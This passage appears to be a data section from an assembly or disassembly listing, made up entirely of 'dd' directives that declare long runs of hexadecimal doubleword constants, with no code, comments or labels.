		dd 0C3E27F00h, 1434C24h, 35FD01B9h, 0BC60164Dh,	7AE822EEh
		dd 0B200AC73h, 319EAE83h, 97DC65Eh, 5A52BADh, 801E7300h
		dd 27131393h, 0E021AE72h, 81965F54h, 0DC9001F1h, 5082E8D1h
		dd 0BA8D210Ch, 0D6330E00h, 0AB67CBBDh, 7257062h, 71730766h
		dd 32DF01Bh, 55057EC5h,	63D6ECCDh, 5D7A488h, 0C8DE91D9h
		dd 0B1A091F6h, 0DF118692h, 296253h, 7368CFFCh, 575A7881h
		dd 18EC510Bh, 65E44829h, 7E8B974h, 2187CC68h, 0D98969B6h
		dd 94402EEEh, 760EBC19h, 11A200BBh, 0EBC34036h,	0D4B664D7h
		dd 0A99DB641h, 1B262876h, 0C9595068h, 788F1C00h, 33BD74CEh
		dd 1E830B0Dh, 582A5CBEh, 76596C98h, 0A749FD0Fh,	8FDF6115h
		dd 36D5537Bh, 54767040h, 0F1C8B067h, 0F8D85310h, 11F76E25h
		dd 84076D7Ch, 4786088Ah, 39180FA5h, 0DE1E595Eh,	0FA4217EAh
		dd 40A86E8Ch, 0F1EEFDh,	0E2183432h, 5172FF33h, 1F44909Eh
		dd 3688E108h, 0FAFF8C66h, 5D050359h, 63DB664h, 9D509BC0h
		dd 54789EB1h, 33E1EC0Eh, 3852AAFEh, 0E2F71E84h,	1518B1C0h
		dd 0F8E51DC0h, 504F18B4h, 0B242D94Bh, 5C64D80Ah, 0E0894FD0h
		dd 6D385CD0h, 0ED557FA4h, 7AD44798h, 5E7340A0h,	9D02FF50h
		dd 0E90ACD11h, 0B42C6066h, 83410E1Ah, 30A05B73h, 4DE87AACh
		dd 2BDAC61Dh, 0ABE7FB01h, 0C0D51BA6h, 88256860h, 9527886Fh
		dd 78B1509Bh, 7CC0BDECh, 8000C24h, 69B29A3Ch, 1DF4A5h
		dd 0AE42205Dh, 0C341F74Eh, 0A4FFF0A0h, 4056781Dh, 3E538180h
		dd 0F0446E59h, 9FD7054Fh, 0F9AAD1Fh, 0C09DC688h, 0BC52EEAh
		dd 4E01CD69h, 135F7252h, 0A246814h, 4FC248D8h, 3FBFF901h
		dd 0F86012ECh, 0A45F754Ah, 0E71DA460h, 58421C04h, 0D4E1C179h
		dd 0D08C47AAh, 0F9007375h, 13F29A78h, 472F6A7h,	7603E901h
		dd 1E0CA82Dh, 0DBD37CAFh, 92C09CD0h, 3970050h, 0FA28C42h
		dd 82065BA7h, 304896B2h, 7B6809D8h, 0AC10A8E8h,	145FB4D9h
		dd 9E009BE8h, 72543A89h, 520EEE2Ch, 97FD1D09h, 8F47F0C0h
		dd 0B7D92448h, 8686428h, 60A024BCh, 592C157Fh, 5150A113h
		dd 14913C8Fh, 20484FE1h, 8F56A6Ch, 727B0C07h, 10285571h
		dd 3A5281h, 54DF1130h, 0F4907794h, 9CDBF480h, 414Ch, 32B15F67h
		dd 7377930Bh, 91ECB4B5h, 65CE02A9h, 803351ADh, 4BCD6888h
		dd 7E870055h
		dd 0CC67A2FFh, 80A0736Ch, 7B755FC3h, 0C1495h, 85115573h
		dd 0DABF175Fh, 0F00420B9h, 48F2F7E1h, 1EA87B2Ch, 969D657h
		dd 68D30B4Ch, 0AC251380h, 1A7938h, 0A824D137h, 0B091A61Fh
		dd 0B79F8A00h, 0D8334C54h, 98584A63h, 4CE1E170h, 8C90FD4Ch
		dd 0CAD77480h, 0DEC00600h, 296F8849h, 709D5D53h, 89AB7285h
		dd 0F0272A40h, 33BCE3AEh, 4524E8E3h, 0C23D00DAh, 8423C83Ah
		dd 87F875B7h, 6A927305h, 78CC3267h, 0C70B00E7h,	2682B315h
		dd 87033D63h, 907B9776h, 68EE8959h, 61C0F438h, 4F108936h
		dd 0A29DF012h, 48F21500h, 264F65Dh, 6094B99Bh, 88E608C5h
		dd 0BF80527Fh, 8BDCB9D9h, 0A80E44CCh, 0FECD8790h, 3C88211Ch
		dd 0B80097F3h, 19305F9Fh, 0F2054E47h, 0E1BEDF8Dh, 4C72048Ch
		dd 67005E6Eh, 9304F0E2h, 0BCB657F6h, 5B0138A8h,	58C6C2D9h
		dd 0EE0046BEh, 0F2010396h, 188EEC77h, 0A8CCFAA9h, 60535E76h
		dd 8C2B8080h, 50C14892h, 78A5DF46h, 13E49470h, 0F6755D8h
		dd 403F619Ch, 897CF33Ah, 7514F26h, 0D188C0C1h, 828608C0h
		dd 9F1A1893h, 0A040C012h, 6881A86Bh, 0CCC54031h, 4ACFC3Ch
		dd 8822924Ah, 0B0611AE5h, 5814EEC5h, 0C8823095h, 80E6E2E1h
		dd 0DB1866F0h, 0C30A6D2Bh, 5BB60070h, 0A2F73318h, 4209A40Dh
		dd 20CD28D8h, 0D4DFFCACh, 0A928A112h, 0DD2C6432h, 0B410AD54h
		dd 1502AD1Ch, 30BC3AF6h, 0EA4465F4h, 201C1F74h,	5E371911h
		dd 31776F7Ch, 3A999D80h, 472D8F46h, 878011D9h, 28480A04h
		dd 3C469398h, 0BD18219Ch, 99788788h, 129CB042h,	220CDCBEh
		dd 0D62024FCh, 7D7A68BBh, 69270021h, 0EAC2130Eh, 0DE0062B3h
		dd 0D9889364h, 9A45BDDBh, 0ACA26Ch, 0EC78A185h,	0E2149694h
		dd 0D45E5ACEh, 0B26717C0h, 0E8650075h, 9ECC0F20h, 0DB00E7DDh
		dd 432E62ACh, 0B690F38Fh, 0E533025Ch, 0ACE00F17h, 540E86F0h
		dd 0A0786F43h, 0FAE8DBD7h, 82B033Bh, 0E9B3D945h, 6C881114h
		dd 24884A14h, 0FB300B2Ch, 28808BF3h, 0ED49110Bh, 0FD41714h
		dd 46A900B4h, 0E0B3595Bh, 724F0093h, 835E89EFh,	0D848BDC5h
		dd 6DE0C040h, 1DF0FB04h, 1DDD787h, 0B015FEB5h, 41F461A3h
		dd 0FC7882D8h, 0A4098D4Eh, 77F19Fh, 73F81831h, 0E03A00FCh
		dd 0BC1CDFD6h, 0C309F924h, 0FB1A7165h, 0E6218FECh, 0A8423720h
		dd 5500A545h, 74B6ECC2h, 0E8B7B389h, 19A01250h,	48C89635h
		dd 0C7C00745h, 0E4D517DFh, 0CDA03061h, 0F8BB2A6Ch, 0A8333F88h
		dd 0AD9D22A4h, 1C402EE7h, 213A7E8Bh, 3D870038h,	41B619CFh
		dd 4930067Ch, 6E182067h, 84FC992Ch, 8EB19CEBh, 0F04E8960h
		dd 7174206Ch, 48F0A481h, 3E00E984h, 0A4D3EA0Eh,	96571AEh
		dd 5466EB76h, 0F9A72C10h, 11CB7F00h, 4058148h, 4B52075Ch
		dd 34321040h, 8254A779h, 59B518E1h, 40A51E38h, 31E44BB2h
		dd 9C04377Dh, 0F00BEF8Ah, 761EA200h, 2F1816B6h,	0C5106F6h
		dd 283125D6h, 330D1844h, 0E0FD7A4Dh, 0B02CE420h, 0CD2904BEh
		dd 0E31AA665h, 87EC04F4h, 64C2D7A4h, 0D9592391h, 11B27888h
		dd 5287F300h, 0CCB92503h, 5086E657h, 37D7086Ah,	0A22979B1h
		dd 0CC790EFEh, 4BC60539h, 0EC5C90DAh, 1680FC1Fh, 0B4295B89h
		dd 0D6B600F6h, 0F1A6E1DAh, 2E0055EDh, 6C891B4Ah, 0F0581CB3h
		dd 6E901201h, 4CA830CDh, 1FF2A574h, 0F8301A26h,	281E326Eh
		dd 5B4F0922h, 2C7993A3h, 7ABE50Bh, 825BF0FDh, 60704B4Ch
		dd 953738Fh, 83E44269h,	0D65E9C80h, 37009FB9h, 73604948h
		dd 2E1ACFBh, 234FDC7h, 0C8E0A74Eh, 0CD500C54h, 0E95CCF80h
		dd 71B00582h, 827AB69h,	47384099h, 6304305Eh, 779285A2h
		dd 0E46BBCB6h, 189038h,	2490E1E0h, 802FAA9Bh, 2C31AD2Eh
		dd 0B66C046Bh, 35B3D620h, 52F63302h, 4D5369EFh,	16689314h
		dd 0F8A3C0h, 19DED7C7h,	247177B8h, 5220A9FCh, 5D408C54h
		dd 1A2258Eh, 0D09F3E5Eh, 0D562062Ch, 4C33C4F7h,	0B0430412h
		dd 7D41E400h, 9FF7479h,	6C71272Dh, 780058F1h, 609F4A46h
		dd 0ABDA02E9h, 73074D49h, 0B2B83840h, 0EF3E5114h, 1F8B0070h
		dd 0F07DD2FBh, 6DE1109Fh, 40AF0057h, 50A568E9h,	1D5642DAh
		dd 202B54h, 0EDC1260Bh,	46CA2018h, 0E42EE503h, 0E0A5291Bh
		dd 4F264360h, 0DA2820F3h, 6907319Bh, 0CC769DC3h, 0A84A5620h
		dd 0E65309CBh, 58003F1Ah, 70A466A7h, 1889B100h,	171FA01Eh
		dd 0A8A0719h, 0B09656F8h, 0F76B884Ch, 0C95E7303h, 0E025E2D6h
		dd 221949E7h, 65276030h, 4D1C987Bh, 8234B0C2h, 41EC7670h
		dd 0F5DEE8BBh, 811869FEh, 59F873EFh, 70FB5DCCh,	2BAF0168h
		dd 912AA1Bh, 32FDFC86h,	0CF7F3F1Fh, 1E4E2301h, 308357ACh
		dd 0C0D53B97h, 8AC003E3h, 1309CEA6h, 0C8FFC360h, 366F1E8h
		dd 575B0390h, 9DD3E0ABh, 0D4DFF80h, 113F902h, 5C7BDFC9h
		dd 413F1370h, 0CC342B0Ch, 341E2BC7h, 72B6C500h,	4BFFD64h
		dd 0D7DD3266h, 80D0FDBAh, 0C70BD5B7h, 0AB162FA0h, 2B970890h
		dd 4698EF16h, 0B15424CCh, 0C2448054h, 0F93DE441h, 0C858C53Dh
		dd 50AC4638h, 81244B6Ch, 0AD01B440h, 0A4C37865h, 672093h
		dd 8D97338Ch, 0F716A776h, 2CC291CCh, 7465222Fh,	11E05488h
		dd 90762D5Ah, 0A04FEA20h, 0FDFEDCh, 0A37E8C0Eh,	8DB5FFCFh
		dd 134B9700h, 92F8D6E8h, 971C7894h, 7F8F0410h, 6E2B51Eh
		dd 97394501h, 8BE49AE0h, 0E1EB0905h, 0E05A6431h, 1890DB4Eh
		dd 0D68980h, 587C917Bh,	192C6ADFh, 96815205h, 0C0801B3Fh
		dd 8A8215h, 517330E2h, 19E0507Eh, 544F951Ah, 22944CC8h
		dd 84B5BC11h, 0AF42132Ch, 0B8847343h, 0F4040BBh, 1E25BC4Ah
		dd 413C0158h, 0E0297315h, 65F0704Dh, 90BF58h, 0E8B4871Dh
		dd 0EA668B5h, 49469DEFh, 2B8E2D2h, 0B6853505h, 0C24461BAh
		dd 4000282Ch, 0CD5A797Eh, 3099A77h, 720EDDBFh, 859421DCh
		dd 481D2B11h, 0D9F80F8h, 0AAC29AE7h, 4B80BE1Ch,	255DC400h
		dd 7BAA25Bh, 48221E9Bh,	8753409Dh, 0FE00F255h, 0D3E0C9D0h
		dd 0B4011266h, 0B83E8038h, 255C359Ah, 8F36D902h, 0D4EC4BEFh
		dd 81ED40A4h, 0EA0CA5DBh, 39A969CCh, 5B070BF4h,	1851F1E2h
		dd 0B0B1F4A8h, 3B286760h, 0FBC2002Ah, 517B30FDh, 0BE19F12Fh
		dd 54514EDAh, 0D2938661h, 0E09C16C5h, 0A6125210h, 900CD3Fh
		dd 13429D7Ch, 4DF2056Eh, 0C14B56D0h, 0E8CE6234h, 45259032h
		dd 4440E6E3h, 8C0038BCh, 41DBC2B0h, 0D39487h, 11AC3FFBh
		dd 0C0EF14FCh, 80B80499h, 0D66B0DEh, 0F7A4F33h,	613C6EE3h
		dd 19555FE2h, 736524E8h, 0F9450094h, 0E0DDCCE9h, 88A521D3h
		dd 48D3854h, 0AF8330h, 0D41CC32Fh, 4B33E547h, 0C2EB7A00h
		dd 0BE6AD9DFh, 502096DEh, 1A0AE849h, 945BCD78h,	7B73FF00h
		dd 106690Eh, 0E73275E0h, 294E41FBh, 1A2D0030h, 67861E84h
		dd 2CF60CF3h, 0F1118302h, 109FC4F8h, 9DA794h, 0E4EBA1ABh
		dd 781FD64Fh, 94D810B5h, 0C0B400E5h, 0FDBE950Eh, 5F03AB24h
		dd 722A8550h, 0E0168B59h, 0B5AA68ECh, 7A7B2011h, 3C735829h
		dd 78F3DA00h, 0C0D9F9F1h, 650E7B7Ch, 9DC347ADh,	34C5E5h
		dd 6E0FC4D0h, 4B00D369h, 849081FBh, 0E07FC67h, 0E3758FDCh
		dd 0B9043212h, 0A8B7CA20h, 396A0078h, 5C5251FDh, 0D9048CE3h
		dd 3BF3AC90h, 1369D380h, 0FF450078h, 66CBE1BFh,	50000FFCh
		dd 73902FC7h, 16F9747h,	192D1CF7h, 0DC52A0DFh, 0C5165E1Ah
		dd 0C01E93Fh, 898B22C8h, 79BAC4Ch, 75EA4EA2h, 0CD93E0E0h
		dd 0A890C726h, 48F1444h
		dd 0E1B734Eh, 1CC4C2CFh, 8A5E2910h, 6913C8Eh, 0B18944B7h
		dd 8544B08h, 77426450h,	318B2F12h, 0FC76204Ah, 83F0C110h
		dd 0A7073923h, 3230FA3Ch, 0B24B7950h, 81EA4859h, 900EFE13h
		dd 0D3FA73B4h, 15894500h, 52721CADh, 0C611CBD4h, 3A7768C4h
		dd 8D5E2B00h, 51FBF4BBh, 0C8624CE6h, 9CC4DF81h,	38236EB9h
		dd 1A391CF6h, 0A500BE7h, 510068F1h, 0DD42D99Ch,	0CB805FEh
		dd 0B82B63D6h, 0E1BD8704h, 207CD909h, 0DCBF371Ch, 9A0CF71h
		dd 14797C98h, 2DC38A5Ch, 0F6BC4416h, 0E464CE7h,	82BAF20Eh
		dd 0B27DC09Ch, 2A19B192h, 1002B4Dh, 0BF5E2F4Eh,	434FADAh
		dd 6ACB05F0h, 0A2757827h, 4C660544h, 4CAD5467h,	0BC807F3Ch
		dd 86476FB9h, 69FC6CC4h, 0F57BCF00h, 524E7119h,	487262CCh
		dd 0EF05ABC9h, 0FEC36400h, 7DD6FD7Dh, 0ADCB1635h, 0CC140B3Ch
		dd 0A5655448h, 0EF344F09h, 0D6981852h, 3B630076h, 1AA46ED2h
		dd 0FD0124F1h, 0ED44E072h, 0DB2918h, 0F27A76A1h, 389F82Ch
		dd 53A48803h, 6673E70h,	18343520h, 0ADF0E14Eh, 15794900h
		dd 0D7554FC3h, 13480B17h, 5064C7F1h, 0BCDBF244h, 1DE3ACF0h
		dd 5B32C040h, 0A6793E35h, 0D1C73100h, 9B3B1B9Ah, 811EB8DDh
		dd 6511A0B8h, 234C7371h, 90032F35h, 0D9F98F45h,	0FF8708B5h
		dd 30888038h, 6FEB5204h, 5C338CC8h, 1AC8385Ch, 0BE802D80h
		dd 0F68825F1h, 0CE6A01C9h, 53BF481Bh, 4F919DC6h, 1987B0A9h
		dd 0B180EB76h, 5DC884h,	6785A35Eh, 0F0531F9Ch, 88FC20B7h
		dd 6A71B4h, 28217EEEh, 3FBBCB55h, 431D3402h, 76E4BE69h
		dd 219C4464h, 0F5E86CCDh, 57A6029Dh, 1EA74F87h,	0BED701E0h
		dd 0CEDBC900h, 197801FAh, 2D120ED6h, 6FE0D44Eh,	0BFF81BD7h
		dd 20DA5225h, 0FEE45414h, 5F2002Ch, 0EF53994h, 0AFE65538h
		dd 3BD8711Dh, 99C0D95h,	724B464Eh, 0DFFE01F4h, 706C8EDCh
		dd 54804C4Fh, 0FCFA8604h, 788155A4h, 0A4709D21h, 0BF58403Bh
		dd 9DB0DB58h, 0A891D58h, 6E930023h, 4F4294E5h, 6D0FE10Eh
		dd 60A9995Ch, 0EEA66A38h, 0D8012472h, 354D0EFDh, 88CC8082h
		dd 0CE14DC40h, 4980B099h, 5DCACF7Ch, 0F8E6048Bh, 0F455941Bh
		dd 1200D4ACh, 0E327C9C6h, 0E49A8F09h, 0FD2F128Eh, 0C02CF4DAh
		dd 4DF17400h, 96B6D843h, 0E44A029Eh, 75AAA297h,	5E93F884h
		dd 0C71C1040h, 7340FCh,	78915F4Fh, 3414F77Bh, 0A5D48E13h
		dd 55C59000h, 389CE987h, 885E4D47h, 60012644h, 0C965A95Bh
		dd 0E8EC1A68h, 4ACE7E33h, 780C8B7h, 71F70D1Fh, 596E1C0h
		dd 0E15476CDh, 7977D0h,	43EC09Bh, 0BBDCA213h, 3744E490h
		dd 987C4865h, 84C93FC8h, 15E5C08h, 0DFCC6E44h, 844B3BA7h
		dd 4C858FFh, 72F933D8h,	0F8193147h, 8A7F1C08h, 5788541Fh
		dd 68F07380h, 97D27C0Ah, 0F3CEE880h, 10059A2h, 0CBDD947h
		dd 9061BC92h, 335A05CCh, 0C1DFB4D1h, 7CD6BE16h,	0CE5480A4h
		dd 912BD11h, 8FFD3786h,	70F84010h, 10685325h, 0A86288h
		dd 1D5DE7CBh, 0A4427ED8h, 58E8C87Bh, 0BD3B5607h, 0E381D361h
		dd 70F5460Fh, 6800AC21h, 0BEBF22Eh, 14E7D566h, 540B242Bh
		dd 0E2818CD9h, 4A5A3271h, 8382C43Fh, 2109EEB8h,	0D17326A6h
		dd 66044E14h, 0D09E87C1h, 75112FECh, 0C412300h,	0FB9B4204h
		dd 557C0069h, 9050F236h, 18BD727Ah, 3868A6F4h, 20A49FA3h
		dd 0D8813930h, 218E06B3h, 0C8D1FA4Ah, 0A70F1500h, 0F3720BCh
		dd 52D2F5EBh, 63F102DEh, 87CC888h, 9FE1C040h, 0BD80081h
		dd 9950F495h, 390008AFh, 214F25CFh, 2D6CBBDh, 0DABE77E9h
		dd 6CC4151Fh, 42545340h, 0BAE002ADh, 24583F18h,	39F0CC77h
		dd 4A60AA07h, 0BDBFFF87h, 80B0602h, 55B8E0C5h, 31E07B7Ah
		dd 8B68FE30h, 76540207h, 0D9134148h, 94D8C46Fh,	8973FF01h
		dd 0CBD043F5h, 4B00B438h, 2C72B72Bh, 9E0B4723h,	4B292CCh
		dd 0B253CA18h, 75140034h, 57484EDh, 7DE400AAh, 0B992960Dh
		dd 72512A18h, 502218h, 4C3C8E7Eh, 127CE90h, 3A7C3BFh, 0E63A5985h
		dd 0A04F2C54h, 0CF3DC60Eh, 0A86E0013h, 0EB4A6979h, 6500723Fh
		dd 0CC6B06FEh, 790A2F7Ch, 0B4781689h, 2D6022ABh, 10705411h
		dd 0AFF8864h, 716B7F00h, 0E0CADB36h, 0DA602875h, 0C44F4A98h
		dd 2982438h, 0FC0AF080h, 4210780Bh, 2045306Ah, 12BCEFEEh
		dd 887E65C1h, 5C842908h, 9E032477h, 20940455h, 901856E4h
		dd 3F5371C6h, 0FCDC2CFFh, 0F288E496h, 6890A08Ch, 0A52607A1h
		dd 6069CD0Dh, 0EDEB582Ah, 32E5C00h, 0F4528871h,	0ED9843h
		dd 0EBC493Ch, 2AC48264h, 0B8B25C00h, 61147069h,	0FD7617C3h
		dd 2990889Ah, 6E888h, 4BA2BDA5h, 0A4964FA0h, 0C4D60400h
		dd 0B7F9EC25h, 5E4102FDh, 0CCC5372h, 0C705C41h,	18DC5CD7h
		dd 525CA13h, 0E8F2DF3Ch, 30EC08Ch, 700CABh, 0ADBEB9FFh
		dd 698FC926h, 0CDEF270Fh, 5402F667h, 0F8022C6Ch, 0E9F73888h
		dd 5C00CC58h, 0C768F6FBh, 0DE0CD3D7h, 1869E29Dh, 0DF22394Ch
		dd 0BC391Fh, 0AE1EE7A6h, 67EE8B4Dh, 72001777h, 3419BB48h
		dd 64FFCC68h, 82F0994Ah, 21205D10h, 0BEF96C7h, 188F5311h
		dd 4E00E87Ah, 0C6712B7Eh, 31BF1306h, 0DB41FFE2h, 3AFC500Fh
		dd 9F985186h, 7D33E402h, 0DE653219h, 409EE068h,	3F01FEE5h
		dd 0ED35EA17h, 0CC605964h, 0C8AB04D4h, 0A4919D46h, 0DF50D7D8h
		dd 55268F0Ch, 0BC26E075h, 4098F862h, 1C59C78h, 0ACE4C6F2h
		dd 2FC9431Fh, 5C874028h, 20C8D850h, 0B4F8DF01h,	66C9E0CCh
		dd 9504CDF0h, 5293ACC5h, 12199088h, 40C0EEA4h, 0F7A92F96h
		dd 8007DE59h, 0A640252Bh, 0F600B8DAh, 6813BEF3h, 7B7703C3h
		dd 4395093h, 87E4B8CDh,	97C0515Dh, 0EEA88C1Eh, 7829F2BEh
		dd 4C494442h, 54109F8Eh, 0F203256Eh, 53FB66F5h,	99B0B77Dh
		dd 1A508D6Ch, 29207E27h, 0D6459C7Ch, 0EB3EB8E8h, 0AC832800h
		dd 0EDEEAA66h, 26909A03h, 0D2C05E8Fh, 7DB0C2FCh, 88156201h
		dd 7393C076h, 0EBE14500h, 4A24AC68h, 0E4BF2D0Ch, 39DB70E9h
		dd 458B0028h, 3F92B302h, 6B8700B2h, 4B7FD394h, 84BD5AD9h
		dd 0E720DC1Ch, 209F553Ah, 0D49C48F4h, 0D7BE0147h, 724DC1F7h
		dd 2DD5C417h, 7820385Ah, 5A91A9h, 94F78D2Ah, 0BC024483h
		dd 9D62D200h, 189AAA7Ch, 80A738B5h, 43003A3Eh, 289EAE78h
		dd 84B195FDh, 8C08C296h, 8CCE93AFh, 2B4C1980h, 9DC0D864h
		dd 8E0895Fh, 106581F0h,	0C7AFEBh, 0F15D9675h, 412539ADh
		dd 0F7902600h, 3A561FE1h, 968705BBh, 0A9CB13h, 0A8343B54h
		dd 450143EEh, 54A09F8Bh, 3E607A87h, 98964CC4h, 7ECD6203h
		dd 0C002B0A9h, 658A147Bh, 10E47176h, 457FC831h,	0F768CC3Dh
		dd 863FCC00h, 607F6FEBh, 0ABC43822h, 40A3E200h,	2382F38Ch
		dd 67153102h, 465CBCBEh, 3A0200F0h, 0F68BB453h,	3B4A4912h
		dd 1AB13820h, 0C9660E8Eh, 12835EEAh, 4988991Fh,	3AF41561h
		dd 5FE41C00h, 0DC0628A8h, 5E6AE457h, 0C5E04154h, 7138367Ah
		dd 0C1424255h, 0D41BA4E2h, 0CEB527A0h, 0F46C95h, 60C80FFCh
		dd 4A4C3E46h, 6A195407h, 0EB42CC8Eh, 51907CE0h,	748F0C47h
		dd 4090BC99h, 48E98662h, 0ACB958h, 0FC85079h, 0CD3B84h
		dd 11048FE3h, 0AF0CF62Eh, 0EEE6EA04h, 0A50753B8h, 0BBE2A4DAh
		dd 4420D41Eh, 9250FD11h, 0E50D5964h, 481B7177h,	9F5F9430h
		dd 6A402C98h, 20674A3Ch, 0EE6F14E7h, 7E0BDA80h,	340388F4h
		dd 4EA37DECh, 608942C0h, 90B52898h, 5DE758h, 1C987011h
		dd 4ED49206h
		dd 623A49B0h, 0BA360BF5h, 0DCA82EAh, 4D4741Dh, 13AE1F7Fh
		dd 664C8h, 2EA3D9FCh, 0CD3C39BFh, 9F86A112h, 9B7FC600h
		dd 923914Ah, 7456D56Dh,	14240869h, 764420ABh, 34012A13h
		dd 38E612DAh, 76702477h, 888D09A4h, 6004AD7Eh, 0D168491Bh
		dd 5C4AC98h, 696E7Ch, 266B0C88h, 0EC535CBEh, 10771160h
		dd 31374B78h, 0F1D60C44h, 0F4311474h, 0ABC0CCADh, 0E9311AC3h
		dd 0FCC08852h, 0E374454Eh, 796B9D04h, 7EC442EDh, 86FC80A1h
		dd 0C19F5B43h, 116035E4h, 907C7A65h, 92AFE3C7h,	0D4C82DDAh
		dd 18E6EB14h, 9B539401h, 216B5930h, 1174B889h, 4F50C8D4h
		dd 2C2300ABh, 0F7FEE7A1h, 0A7138814h, 0B48061EAh, 486EB3Fh
		dd 0C713AC6Ch, 7310ACB1h, 4B717903h, 0EE05BBF8h, 0A1781098h
		dd 0B5B80FADh, 0F3D0A0E6h, 189AECCBh, 881F0960h, 0B924A7E3h
		dd 0A0315C24h, 41001D38h, 0CB894BDh, 8233E138h,	4A4B7E23h
		dd 3100E0A9h, 0F62700E5h, 4EAC5CB7h, 0A32C88F8h, 0DB00FABDh
		dd 0C45D9D15h, 4801B54Fh, 844CD7CFh, 0C458C40h,	0E8FB0D02h
		dd 0C218280Ah, 7259319h, 49A8EF78h, 7560C397h, 7F10A98Eh
		dd 4000315Ah, 82EFD262h, 0B2752592h, 0F587AB0Ah, 0B50EF358h
		dd 0E6CBC614h, 1D7321E8h, 4435F708h, 80F33CACh,	544BC88h
		dd 84BB20A3h, 2BD6D404h, 2C79BE22h, 393180F8h, 0E681F0h
		dd 172FB36Fh, 0DB84AA38h, 434E9C12h, 5C007CA8h,	4C3CCE68h
		dd 802E6EE2h, 3F0EE954h, 0E1CD80E4h, 98A467B5h,	0B89B1030h
		dd 5FD91426h, 583908F8h, 0BCA0F04h, 0B4E1F960h,	8492BD40h
		dd 1FDD3512h, 0BC7F9C4Ch, 13022610h, 0E0500060h, 8871529h
		dd 84F420C0h, 0A7416686h, 0B818820h, 0B115CCC0h, 9CEC2641h
		dd 795C0960h, 62E5B418h, 0BC465302h, 70109AD4h,	5EB8B080h
		dd 28FC99C4h, 2D5E0008h, 0B4F02C06h, 0FF53702Eh, 60006862h
		dd 264E75E7h, 3201727Bh, 6A875048h, 20836124h, 818F5B52h
		dd 0BEDE500Bh, 737448D9h, 974C01F2h, 9331A8DDh,	3E1069DCh
		dd 91FA03F5h, 0B97EFB4Ah, 0B8409420h, 9472CDFh,	71ED0F42h
		dd 0D9720883h, 0BB2604E0h, 0A8F0542Eh, 96225B40h, 3E4900D4h
		dd 8A582F47h, 0B7031387h, 12F72685h, 4F9EB07Ah,	51730076h
		dd 0B9BAA643h, 0A800FE2Bh, 45813DE4h, 3E214088h, 3001584h
		dd 0D9769DF7h, 618A06DAh, 0E142F14h, 382C5594h,	2BFC7111h
		dd 643C30E1h, 6D37BB00h, 0DF01E0FEh, 0F92D1AEFh, 0E0D00887h
		dd 6CE98203h, 0F098D6D7h, 5C81BB7Dh, 0DA037A1Dh, 70C4BF93h
		dd 5E4460A8h, 0C0191362h, 4339E08Fh, 0D6F0005Fh, 0BAFDE732h
		dd 730F6633h, 0A040B5A0h, 9A2135AAh, 0D3990101h, 7BE5D7C2h
		dd 6918804Dh, 0F2B562FCh, 2D91E7Ch, 3945076Ch, 226580F5h
		dd 8106B2E5h, 0D99FE043h, 5DC60758h, 0A04C77C5h, 95C73534h
		dd 240C8530h, 60FE2EB2h, 8DF828A9h, 427CF171h, 295DBC0Ch
		dd 6CD99E2h, 1B2C69D6h,	1FB06847h, 0AD314E00h, 65025735h
		dd 78CF30E5h, 0DA72E3A0h, 5EE0441Dh, 5F3D4030h,	70026015h
		dd 986CCD87h, 8F588461h, 708CF0C9h, 47A8DFBEh, 6A745F0Fh
		dd 3A1017B9h, 0C8F80094h, 0A91917B2h, 601B60B6h, 4F2C6B33h
		dd 70483A50h, 0ED1DD443h, 0E50A60AFh, 0C0415E39h, 0ECFB5D00h
		dd 53A58DF7h, 4FC474EDh, 0FB383Ah, 0AAFC67F7h, 637CFD62h
		dd 0A21CB503h, 9B4D35A9h, 914806D8h, 0A9F1861Fh, 0FE0458D0h
		dd 60CE830Ch, 0DE1B9B10h, 8890B1ADh, 18662AE8h,	0B0677B9Ah
		dd 0A71E3F83h, 486D968h, 4428B0AEh, 0BE003C71h,	1062C812h
		dd 0F04AA34h, 7C50FAFh,	2C202A01h, 0DF6F30ACh, 281CAD3Ch
		dd 200A67Ch, 1D244712h,	12E91B75h, 0FA16F3h, 7DC2C9F3h
		dd 0A202E731h, 4309ADFDh, 0A4BA6038h, 58EA9Dh, 0BD1869C7h
		dd 0F198A881h, 19220300h, 3BC1E375h, 0D1A203DEh, 8F3A70A5h
		dd 0A0CE7A80h, 1C74F000h, 0F4E2B2BFh, 911000DDh, 58959BD4h
		dd 15007D5Ch, 0B338C698h, 6FC165h, 10537771h, 0B0740506h
		dd 70241C0Ah, 0B6039C38h, 0B8AA9B46h, 1E99046Fh, 405952D1h
		dd 0CDF72B5h, 1F0C747Ah, 0D188F9C1h, 0DB10C03Ah, 0CDE20491h
		dd 11660100h, 0BCEBCBC4h, 85AE0029h, 0F4FF8F06h, 6400B495h
		dd 1BD309C3h, 4F265h, 4E8846F3h, 458FDCCFh, 0DEA7A800h
		dd 5EB841A0h, 30280F48h, 833449FAh, 324E5500h, 0CDA1D0ABh
		dd 0CADB2F01h, 0B97DD68Eh, 35C4E8h, 29FC328Bh, 7A87D223h
		dd 7E555D03h, 0C71080BAh, 0EA371C41h, 0E3B1E4h,	5E65C69Bh
		dd 0F825CB94h, 58179800h, 7850A18Eh, 0ADA62F70h, 0DB0BD0E0h
		dd 75F4B4Ch, 0A2469B33h, 4211E020h, 71800766h, 80E147A1h
		dd 74965C3Ch, 0F9409805h, 54804C12h, 0C92605h, 0E1EF1CBCh
		dd 0BF0D3ECEh, 821DBD00h, 0E925F046h, 0B7CA0F06h, 0CCE01204h
		dd 29481EFEh, 26DF5604h, 0B38041A3h, 1198E0h, 7D1C9B51h
		dd 9A5A937Ch, 0FDB35400h, 31D46BF4h, 0E96300EDh, 471F2E6Eh
		dd 0C9006F81h, 71567AFFh, 0FAA6418Fh, 310E0003h, 16CDCFACh
		dd 0D8C07ED8h, 12F4D1A7h, 562D00BCh, 0F3CE1BF2h, 50F0BD13h
		dd 0C111F803h, 0E3550CEAh, 39E1C1FEh, 0B8CDE0h,	0DAE5F310h
		dd 0B9C31132h, 420886E6h, 1E7D9FCh, 0B8F6E883h,	137FC833h
		dd 4804A900h, 6352A156h, 2E0B00DDh, 3A9C28EBh, 1590CE26h
		dd 9004078h, 0D2DBB2F7h, 15DE8A4h, 7157BE87h, 409EAE26h
		dd 5E8018BFh, 0C7015C7Ch, 7B103FF5h, 299FDE04h,	0A6A1C9B9h
		dd 1C0AA400h, 70EBCB36h, 8D2669D6h, 70071064h, 82E7E913h
		dd 11F5C020h, 0FEEB00E1h, 1261CAC6h, 58C7E738h,	0D640C97Eh
		dd 337B9Bh, 0CB1AB76Ch,	0D93AC7BBh, 0F724E200h,	576953B3h
		dd 34B2A1h, 0F6EDF487h,	60DC0A86h, 298C3C0Fh, 0D000323Dh
